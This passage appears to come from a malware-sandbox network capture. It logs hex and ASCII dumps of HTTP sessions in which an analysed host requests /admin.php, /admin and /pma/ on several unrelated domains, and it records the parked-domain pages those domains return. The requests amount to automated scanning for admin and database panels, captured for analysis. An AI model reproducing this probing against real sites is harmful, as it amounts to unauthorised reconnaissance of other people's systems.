22 68 74 74 70 3a 2f 2f 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 3f 61 3d 54 48 68 32 52 48 64 77 Data Ascii: <!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_DxBReJ62R8iEXmU9OP++4iR6TGl88iQhS+tkcaY60SUbemgeggFJjApxemfHL4jmJ1GPYJfGDtp/kb+usFsLPQ=="><head><script type="text/javascript">var abp;</script><script type="text/javascript" src="http://furnscales.com/px.js?ch=1"></script><script type="text/javascript" src="http://furnscales.com/px.js?ch=2"></script><script type="text/javascript">function handleABPDetect(){try{if(!abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style.width="0px";imglog.src="http://furnscales.com/sk-logabpstatus.php?a=THh2RHdw
Dec 2, 2023 18:04:43.126205921 CET	1274	IN	Data Raw: 51 6c 46 74 57 45 59 78 54 56 5a 43 57 46 4e 56 55 6a 51 32 56 56 4d 78 63 6e 68 7a 52 6b 70 77 53 6a 42 76 65 6b 30 34 63 7a 46 52 56 55 4e 31 57 55 30 32 52 6b 4a 78 52 6d 38 79 59 57 74 4e 61 6d 46 4c 4d 33 70 48 56 46 42 7a 53 56 64 6a 62 47 Data Ascii: QlFtWEYxTVZCWFNVUjQ2VVMxcnhzRkpwSjBvek04czFRVUN1WU02RkJxRm8yYWtNamFLM3pHVFBzSVdjbGZ5ZjVOanplUzBoTWd2Rjl1c2tLVVpJelNwaDRjdnQwUTBROEVIUHc1ME5tdWhsbHlwei90cHd1dE1ma1I=&b="+abp;document.body.appendChild(imglog);if(typeof abperurl !== "undefined" &
Dec 2, 2023 18:04:43.126220942 CET	704	IN	Data Raw: 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f 27 0d 0a 20 20 20 20 20 20 20 20 2b Data Ascii: pt" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor10' + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolutions.com%2Flan
Dec 2, 2023 18:04:43.145163059 CET	704	IN	Data Raw: 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 27 0d 0a 20 20 20 20 20 20 20 20 2b 20 27 73 72 63 3d 22 2f 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 66 72 6d 70 61 72 6b 2f 27 0d 0a 20 20 20 20 20 20 20 20 2b Data Ascii: pt" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor10' + '/park.js?reg_href_text_2=Renew+Now&reg_href_url_2=https%3A%2F%2Fads.networksolutions.com%2Flan

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	61371	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:42.950462103 CET	230	OUT	GET /admin.php HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.391268969 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:43 GMT Server: Apache Set-Cookie: vsid=933vr449082283051650080; expires=Thu, 30-Nov-2028 17:04:43 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 62 31 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 46 6c 75 4f 75 5a 58 37 63 43 61 78 72 75 52 34 55 39 5a 69 6f 50 75 63 44 49 53 78 58 6e 4d 39 5a 7a 59 57 61 2f 2f 54 6e 30 36 4e 7a 39 53 65 34 39 73 4a 56 70 62 62 2b 44 58 32 38 76 54 42 54 2b 6e 50 32 4d 57 52 62 6a 4c 75 47 69 2f 76 2b 64 65 4c 5a 77 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 61 73 73 65 74 5f 73 74 61 72 30 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 30 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 31 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 31 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 Data Ascii: 4b1e<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_FluOuZX7cCaxruR4U9ZioPucDISxXnM9ZzYWa//Tn06Nz9Se49sJVpbb+DX28vTBT+nP2MWRbjLuGi/v+deLZw==" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> <title>airanatoliava.org</title> <script src="//www.google.com/adsense/domains/caf.js?abp=1"></script> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_star1 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star1.gif') no-repeat center;width: 13px;height: 12px
Dec 2, 2023 18:04:43.391283035 CET	1274	IN	Data Raw: 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 48 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f Data Ascii: ;display: inline-block;}.asset_starH {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/starH.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.sitelink {padding-right: 16px;}.sellerRatin
Dec 2, 2023 18:04:43.391295910 CET	1274	IN	Data Raw: 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 63 6c 65 61 6e 50 65 70 70 65 72 6d 69 6e 74 42 6c 61 63 6b 5f 36 35 37 64 39 30 31 33 2f 69 6d 67 2f 62 6f 74 74 6f 6d 2e 70 6e 67 27 29 20 Data Ascii: 8psrni17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/bottom.png') no-repeat center bottom; padding-bottom:140px;}.wrapper3 { background:#fff; max-width:300px; margin:0 auto 1rem; padding-top:1px; padd
Dec 2, 2023 18:04:43.391385078 CET	1274	IN	Data Raw: 69 6e 2d 68 65 69 67 68 74 3a 36 30 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 77 72 61 70 70 65 72 33 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 35 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e Data Ascii: in-height:600px; } .wrapper3 { max-width:530px; background:none; }}</style> </head><body id="afd" style="visibility:hidden"><div id="reg-banner" class="reg-banner"> <style> .reg-banner { box-siz
Dec 2, 2023 18:04:43.391397953 CET	1274	IN	Data Raw: 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 65 74 77 6f 72 6b 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 65 78 70 65 72 69 65 6e 63 65 2d 66 72 61 67 6d 65 6e 74 73 2f 6e 65 74 73 6f 6c 2f 73 69 74 65 2d 68 65 61 64 65 72 2f 6d 61 Data Ascii: ttps://www.networksolutions.com/content/experience-fragments/netsol/site-header/master/_jcr_content/root/header/logo.coreimg.svg/1633719265272/160x62-full-logo-transparent-bg.svg" class="reg-logo" alt="airanatoliava.org expired on and is pend
Dec 2, 2023 18:04:43.391410112 CET	1274	IN	Data Raw: 3a 20 31 20 2f 20 73 70 61 6e 20 32 3b 20 6a 75 73 74 69 66 79 2d 73 65 6c 66 3a 20 65 6e 64 22 3e 0a 20 20 20 20 20 20 20 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 2f 2f 61 64 73 2e 6e 65 74 77 6f 72 6b 73 6f Data Ascii: : 1 / span 2; justify-self: end"> <a target="_blank" href="//ads.networksolutions.com/landing?code=P47C100S1N0B9A1D124E0000V100" class="header-text-color"> Renew Your Domain Now </a> </div> <div style="grid-
Dec 2, 2023 18:04:43.391422033 CET	1274	IN	Data Raw: 77 65 62 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 45 6e 67 6c 69 73 68 2f 4d 53 41 2f 76 31 2e 30 2e 30 2e 33 2f 53 65 72 76 69 63 65 73 41 67 72 65 65 6d 65 6e 74 2e 70 64 66 22 3e 53 65 72 76 69 63 65 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 3c 62 Data Ascii: web.com/legal/English/MSA/v1.0.0.3/ServicesAgreement.pdf">Service Agreement</a><br><br><a href="https://www.networksolutions.com/">Legal Notice</a> </div></div><script type="text/javascript" language="JavaScript"> var tcblock = {
Dec 2, 2023 18:04:43.391434908 CET	1274	IN	Data Raw: 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 69 73 41 64 75 6c 74 3d 66 61 6c 73 65 3b 20 20 20 20 20 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 4e 61 6d 65 73 3d 5b 5d 3b 20 20 20 20 20 76 61 72 20 75 6e 69 71 75 65 54 72 61 63 6b 69 6e 67 49 44 3d 27 Data Ascii: vascript">var isAdult=false; var containerNames=[]; var uniqueTrackingID='MTcwMTUzNjY4My4yMjQ4OjM2MTRiOTE5OTNjNWMyOGQ5MDRmZDJhNTRhZmZkZjU0ZDIwZjMxYzIzOGFlZDU3YmQwZTJkNjY3YWEyNTgwMTc6NjU2YjYzYWIzNmU0MA=='; var search=''; var the
Dec 2, 2023 18:04:43.391448021 CET	1274	IN	Data Raw: 2f 3f 74 73 3d 27 2c 0a 20 20 20 20 27 66 6f 6e 74 46 61 6d 69 6c 79 27 3a 20 27 61 72 69 61 6c 27 2c 0a 20 20 20 20 27 6f 70 74 69 6d 69 7a 65 54 65 72 6d 73 27 3a 20 74 72 75 65 2c 0a 20 20 20 20 27 6d 61 78 54 65 72 6d 4c 65 6e 67 74 68 27 3a Data Ascii: /?ts=', 'fontFamily': 'arial', 'optimizeTerms': true, 'maxTermLength': 40, 'adtest': true, 'clicktrackUrl': '//' + location.host + '/track.php?', 'attributionText': 'Ads', 'colorAttribution': '#b7b7b7', 'fontSiz
Dec 2, 2023 18:04:43.391460896 CET	1274	IN	Data Raw: 20 61 64 73 4c 6f 61 64 65 64 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 73 45 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 3a 20 69 73 45 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: adsLoaded, isExperimentVariant: isExperimentVariant, callbackOptions: callbackOptions, terms: pageOptions.terms } ajaxQuery( scriptPath + "/track.php"
Dec 2, 2023 18:04:43.404787064 CET	1274	IN	Data Raw: 6f 6e 65 6e 74 28 64 6f 6d 61 69 6e 29 20 2b 20 22 26 63 61 66 3d 31 26 74 6f 67 67 6c 65 3d 65 72 72 6f 72 63 6f 64 65 26 63 6f 64 65 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 73 74 61 74 75 73 2e 65 72 72 6f 72 5f Data Ascii: onent(domain) + "&caf=1&toggle=errorcode&code=" + encodeURIComponent(status.error_code) + "&uid=" + encodeURIComponent(uniqueTrackingID)); if ([18, 19].indexOf(parseInt(status.error_code)) != -1 && fallbackTriggered == false) {

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	60936	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.109988928 CET	226	OUT	GET /admin HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:43.435424089 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:43 GMT Server: Apache Set-Cookie: vsid=934vr449082283223201209; expires=Thu, 30-Nov-2028 17:04:43 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_eN7FA7LeQFBuTG6kEmSO62sLIaEIh2LUYKgqOhSpEfUzIKJDPPW5qNacXZVvopOK5QG/yYs5/2RLwOCuEAyo0g== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 62 32 32 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 Data Ascii: b221<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.conse
Dec 2, 2023 18:04:43.435436964 CET	1274	IN	Data Raw: 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f Data Ascii: ntmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","H
Dec 2, 2023 18:04:43.435450077 CET	1274	IN	Data Raw: 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e Data Ascii: toUpperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLa
Dec 2, 2023 18:04:43.435461998 CET	1274	IN	Data Raw: 61 72 20 6b 3d 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a Data Ascii: ar k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_de
Dec 2, 2023 18:04:43.435559034 CET	1274	IN	Data Raw: 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 Data Ascii: ength==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(
Dec 2, 2023 18:04:43.435573101 CET	1274	IN	Data Raw: 54 69 6d 65 6f 75 74 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 2c 31 30 2c 62 29 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b Data Ascii: Timeout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.s
Dec 2, 2023 18:04:43.435652018 CET	1274	IN	Data Raw: 5f 67 70 70 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 67 70 70 2e 71 3d 5f 5f 67 70 70 2e 71 7c 7c 5b 5d 3b 69 66 28 21 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 67 70 70 Data Ascii: _gppstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|
Dec 2, 2023 18:04:43.435667038 CET	1274	IN	Data Raw: 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 29 7d Data Ascii: e:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue
Dec 2, 2023 18:04:43.435723066 CET	1274	IN	Data Raw: 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e Data Ascii: of(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,fal
Dec 2, 2023 18:04:43.435735941 CET	1274	IN	Data Raw: 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 73 6b 2d Data Ascii: yle.height="0px";imglog.style.width="0px";imglog.src="http://airanatoliava.org/sk-logabpstatus.php?a=bFh3Z2pSRlRVaVFqRFhkYjUyWHFPaHRXamo0Uy9pK01LbndHZmpFQVRZWVNoaDJhQ095OGgyY3ZicDR0RHBDM2Y2RXBGSzg0R0JERUdHTnRtNUlNUlB4UVhkejA0YnhkRGxNZjFBMWhGZC
Dec 2, 2023 18:04:43.450855017 CET	1274	IN	Data Raw: 69 32 2e 63 64 6e 2d 69 6d 61 67 65 2e 63 6f 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 29 20 66 6f 72 Data Ascii: i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i2.cdn-image.com/__media__/f

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	60718	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:43.129101038 CET	217	OUT	GET /pma/ HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
